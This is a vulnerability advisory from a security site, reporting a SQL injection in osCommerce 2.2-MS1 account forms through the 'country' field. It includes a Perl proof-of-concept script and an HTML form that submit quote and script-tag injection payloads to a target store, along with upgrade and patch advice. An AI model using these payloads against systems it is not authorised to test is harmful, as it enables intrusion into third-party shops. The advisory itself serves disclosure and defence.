GulfTech Computers - Professional Computer Services  
Additional Links
-> Dicussion Forum
-> Encryption Tools
-> Information Tools
-> Net Info Tools
-> Latest Advisories
-> Latest Vulns
-> Latest Win Software
-> Latest Nix Software
-> Security News
-> Security Press
Recent News

GulfTech Computers strives to beat the price(s) of any other business around. Check with us first as it just may save you some time and money. And who doesn't want to save money? Please contact us with any questions or inquiries.

Latest GulfTech Releases

SubScan v1.2 Scans a domain for DNS records and SubDomains. Very stealthy, and can be used to find many hosts not on the public netblock. A very interesting tool to say the least. Works on both Nix and Windows based systems. Get it now!

Download SubScan v1.2

Search GulfTech
You can use the form below to search our site. Just enter the keyword or keywords to search.
Latest Advisories
SCO Security Advisory - OpenServer 5.0.6 OpenServer 5.0.7 : uudecode does not check for symlink or pipe (SCOSA-2004.7)
SCO Security Advisory - OpenServer 5.0.6 OpenServer 5.0.7 : OpenSSL Multiple Vulnerabilities (SCOSA-2004.10)
SCO Security Advisory - OpenServer 5.0.6 OpenServer 5.0.7 : Xsco contains a buffer overflow that could be exploited to gain root privileges (SCOSA-2004.3)
SCO Security Advisory - UnixWare 7.1.3 Open UNIX 8.0.0 : Xsco contains a buffer overflow that could be exploited to gain root privileges. (SCOSA-2004.2)
Microsoft Security Bulletin Re-release, August 2004
Latest Vulnerabilities
OpenFTPD Format String Vulnerability
Fusion News Unauthorized Account Addition Vulnerability
Jaws 0.4 Authentication Bypass Vulnerability
DansGuardian Hex Encoding URL Banned Extension Filter Bypass Vulnerability
LostBook v1.1 Javascript Execution Vulnerability
Latest Security News
Anti-spam spamvertisers agree to quit
Black Hat day 2 sounds security alarm
VPNs (Virtual Private Nightmares)
HNS Newsletter issue 224 has been released
Long-awaited IE patch (finally) arrives















osCommerce 2.2-MS1 SQL Injection Vulnerability
December 12, 2021


Vendor : osCommerce
URL : http://www.oscommerce.com
Version : osCommerce 2.2-MS1 / Other Versions ?
Risk : SQL Injection Vulnerability
BID : http://www.securityfocus.com/bid/9211


Description:
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved.


Problem:
osCommerce is vulnerable to SQL Injection vulnerability in the create_account_process.php & account_edit_process.php files. osCommerce 2.2-MS1 is the affected version, and older versions are likely to be affected as well. The attack can be carried out by a malicious user who is registering an account or editing an existing account. All one has to do to exploit the vulnerability is save the registration form offline. After doing so an attacker can edit the "country" field to include SQL.


Solution:
The vendor was not contacted as the problem seems to not be present in osCommerce 2.2-MS2 Users are advised upgrade to the current milestone release http://www.oscommerce.com/downloads Below is a script you can use to test if your version is vulnerable.



#!/usr/bin/perl
############################################################################
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
############################################################################
use LWP::UserAgent;
############################################################################
# Use this script to test if your shop is vulnerable. Results are obvious :)
############################################################################
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0" . $ua->agent);
if (!$ARGV[0]) {
	&usage;
}
$host=$ARGV[0];
print "Trying $host ....\n";
my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("action=process&country;=%27");
my $res = $ua->request($req); 
$pattern = "You have an error in your SQL syntax";  
$_ = $res->content;
print "\n" x 3;
if (/$pattern/) {
print "Host Is Vulnerable!\n";
print "Download The Latest osCommerce ...\n";
print "http://www.oscommerce.com/downloads\n";
} else {
print "Host NOT Vulnerable\n";
}
print "\n" x 3;
exit;
sub usage {
print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]\n";
print "--------------------------------------------------------------------------\n";
print "perl ossqlin.pl \"path to shop\" ex: ossqlin.pl www.mywebstore.com/catalog\n";
exit;
}


People without Perl Installed can use the below form to test if they are vulnerable. Just add the path to your web stores' create_account_process.php and submit. If you get an SQL eror then you are vulnerable and advised to upgrade.

<div align="center">
<form name="account_edit" action="http://path/create_account_process.php" method="post">
<input type="hidden" name="action" value="process">
<input type="hidden" name="country" value="'<script>alert('Vulnerable!!')</script>">
<input type="submit" value="Am I Vulnerable">
</form>
</div>


A patch has also been released to address this issue for MS1 users.
http://www.oscommerce.com/ext/oscommerce-22ms1-20031216.tar.gz


Credits:
Credits go to JeiAr of the GulfTech Security Research Team.






© Copyright 2002 - GulfTech Computers, All Rights Reserved
Contact GulfTech Computers